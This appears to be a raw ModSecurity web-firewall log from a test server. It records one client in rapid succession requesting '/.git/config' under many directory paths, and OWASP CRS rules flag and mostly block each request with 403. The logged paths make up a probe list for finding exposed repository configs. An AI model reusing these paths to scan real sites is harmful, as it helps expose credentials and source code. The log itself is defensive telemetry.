[Wed Jan 15 20:40:02.647360 2025] [:error] [pid 489190] [client 103.102.230.8:58858] [client 103.102.230.8] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z4gPEvGQNR7qDEtyIGfFowAAAAE&quot;]
[Thu Jan 16 14:20:44.008841 2025] [:error] [pid 507252] [client 45.135.232.70:48050] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /admin/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.git/config&quot;] [unique_id &quot;Z4kHrM9-aCDtrS8J08kNpwAAAAc&quot;]
[Thu Jan 16 14:20:44.010763 2025] [:error] [pid 507252] [client 45.135.232.70:48050] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.git/config&quot;] [unique_id &quot;Z4kHrM9-aCDtrS8J08kNpwAAAAc&quot;]
[Thu Jan 16 14:20:44.011305 2025] [:error] [pid 507252] [client 45.135.232.70:48050] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.git/config&quot;] [unique_id &quot;Z4kHrM9-aCDtrS8J08kNpwAAAAc&quot;]
[Thu Jan 16 14:20:44.012754 2025] [:error] [pid 510615] [client 45.135.232.70:48110] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /core/services/mail/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/services/mail/.git/config&quot;] [unique_id &quot;Z4kHrMMsllM7RW6P3X-0qwAAAAk&quot;]
[Thu Jan 16 14:20:44.013336 2025] [:error] [pid 510615] [client 45.135.232.70:48110] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/services/mail/.git/config&quot;] [unique_id &quot;Z4kHrMMsllM7RW6P3X-0qwAAAAk&quot;]
[Thu Jan 16 14:20:44.013614 2025] [:error] [pid 510615] [client 45.135.232.70:48110] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/services/mail/.git/config&quot;] [unique_id &quot;Z4kHrMMsllM7RW6P3X-0qwAAAAk&quot;]
[Thu Jan 16 14:20:44.017852 2025] [:error] [pid 510637] [client 45.135.232.70:48020] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /app/email/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/email/.git/config&quot;] [unique_id &quot;Z4kHrC99y7sHzDyIeh2VbQAAAA8&quot;]
[Thu Jan 16 14:20:44.018627 2025] [:error] [pid 510631] [client 45.135.232.70:48282] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /src/mail/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/mail/.git/config&quot;] [unique_id &quot;Z4kHrKll1LqbFli-TYExUwAAAA4&quot;]
[Thu Jan 16 14:20:44.018912 2025] [:error] [pid 510631] [client 45.135.232.70:48282] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/mail/.git/config&quot;] [unique_id &quot;Z4kHrKll1LqbFli-TYExUwAAAA4&quot;]
[Thu Jan 16 14:20:44.019170 2025] [:error] [pid 510631] [client 45.135.232.70:48282] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/mail/.git/config&quot;] [unique_id &quot;Z4kHrKll1LqbFli-TYExUwAAAA4&quot;]
[Thu Jan 16 14:20:44.020934 2025] [:error] [pid 510616] [client 45.135.232.70:48026] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/admin/v3/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v3/.git/config&quot;] [unique_id &quot;Z4kHrE2UnlP04CIbRA95MAAAAAo&quot;]
[Thu Jan 16 14:20:44.021211 2025] [:error] [pid 510616] [client 45.135.232.70:48026] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v3/.git/config&quot;] [unique_id &quot;Z4kHrE2UnlP04CIbRA95MAAAAAo&quot;]
[Thu Jan 16 14:20:44.021396 2025] [:error] [pid 510616] [client 45.135.232.70:48026] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v3/.git/config&quot;] [unique_id &quot;Z4kHrE2UnlP04CIbRA95MAAAAAo&quot;]
[Thu Jan 16 14:20:44.023140 2025] [:error] [pid 500655] [client 45.135.232.70:48172] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /site/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.git/config&quot;] [unique_id &quot;Z4kHrAgnMRquV0bdEPwzeQAAAAM&quot;]
[Thu Jan 16 14:20:44.023365 2025] [:error] [pid 500655] [client 45.135.232.70:48172] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.git/config&quot;] [unique_id &quot;Z4kHrAgnMRquV0bdEPwzeQAAAAM&quot;]
[Thu Jan 16 14:20:44.023553 2025] [:error] [pid 500655] [client 45.135.232.70:48172] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.git/config&quot;] [unique_id &quot;Z4kHrAgnMRquV0bdEPwzeQAAAAM&quot;]
[Thu Jan 16 14:20:44.024055 2025] [:error] [pid 510629] [client 45.135.232.70:48216] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /s3/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.git/config&quot;] [unique_id &quot;Z4kHrEybss1A0El7xRHozAAAAAw&quot;]
[Thu Jan 16 14:20:44.024230 2025] [:error] [pid 510629] [client 45.135.232.70:48216] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.git/config&quot;] [unique_id &quot;Z4kHrEybss1A0El7xRHozAAAAAw&quot;]
[Thu Jan 16 14:20:44.024375 2025] [:error] [pid 510629] [client 45.135.232.70:48216] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.git/config&quot;] [unique_id &quot;Z4kHrEybss1A0El7xRHozAAAAAw&quot;]
[Thu Jan 16 14:20:44.024776 2025] [:error] [pid 501744] [client 45.135.232.70:48156] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /application/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.git/config&quot;] [unique_id &quot;Z4kHrJu1_bwn-OVhpZOlFAAAAAY&quot;]
[Thu Jan 16 14:20:44.025035 2025] [:error] [pid 501744] [client 45.135.232.70:48156] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.git/config&quot;] [unique_id &quot;Z4kHrJu1_bwn-OVhpZOlFAAAAAY&quot;]
[Thu Jan 16 14:20:44.025074 2025] [:error] [pid 510617] [client 45.135.232.70:48022] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /app/services/smtp/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/services/smtp/.git/config&quot;] [unique_id &quot;Z4kHrB0GqQT5iX5c5mKiIgAAAAs&quot;]
[Thu Jan 16 14:20:44.025243 2025] [:error] [pid 501744] [client 45.135.232.70:48156] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.git/config&quot;] [unique_id &quot;Z4kHrJu1_bwn-OVhpZOlFAAAAAY&quot;]
[Thu Jan 16 14:20:44.025259 2025] [:error] [pid 510617] [client 45.135.232.70:48022] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/services/smtp/.git/config&quot;] [unique_id &quot;Z4kHrB0GqQT5iX5c5mKiIgAAAAs&quot;]
[Thu Jan 16 14:20:44.025416 2025] [:error] [pid 510617] [client 45.135.232.70:48022] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/services/smtp/.git/config&quot;] [unique_id &quot;Z4kHrB0GqQT5iX5c5mKiIgAAAAs&quot;]
[Thu Jan 16 14:20:44.025945 2025] [:error] [pid 510637] [client 45.135.232.70:48020] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/email/.git/config&quot;] [unique_id &quot;Z4kHrC99y7sHzDyIeh2VbQAAAA8&quot;]
[Thu Jan 16 14:20:44.026153 2025] [:error] [pid 510637] [client 45.135.232.70:48020] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/email/.git/config&quot;] [unique_id &quot;Z4kHrC99y7sHzDyIeh2VbQAAAA8&quot;]
[Thu Jan 16 14:20:44.026523 2025] [:error] [pid 500653] [client 45.135.232.70:48072] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/v2/services/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v2/services/.git/config&quot;] [unique_id &quot;Z4kHrJWbe3YhcT1jDQtNAgAAAAE&quot;]
[Thu Jan 16 14:20:44.026675 2025] [:error] [pid 500653] [client 45.135.232.70:48072] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v2/services/.git/config&quot;] [unique_id &quot;Z4kHrJWbe3YhcT1jDQtNAgAAAAE&quot;]
[Thu Jan 16 14:20:44.026831 2025] [:error] [pid 500653] [client 45.135.232.70:48072] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v2/services/.git/config&quot;] [unique_id &quot;Z4kHrJWbe3YhcT1jDQtNAgAAAAE&quot;]
[Thu Jan 16 14:20:44.123975 2025] [:error] [pid 507252] [client 45.135.232.70:48248] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /scheduled/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/scheduled/.git/config&quot;] [unique_id &quot;Z4kHrM9-aCDtrS8J08kNqAAAAAc&quot;]
[Thu Jan 16 14:20:44.124587 2025] [:error] [pid 507252] [client 45.135.232.70:48248] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/scheduled/.git/config&quot;] [unique_id &quot;Z4kHrM9-aCDtrS8J08kNqAAAAAc&quot;]
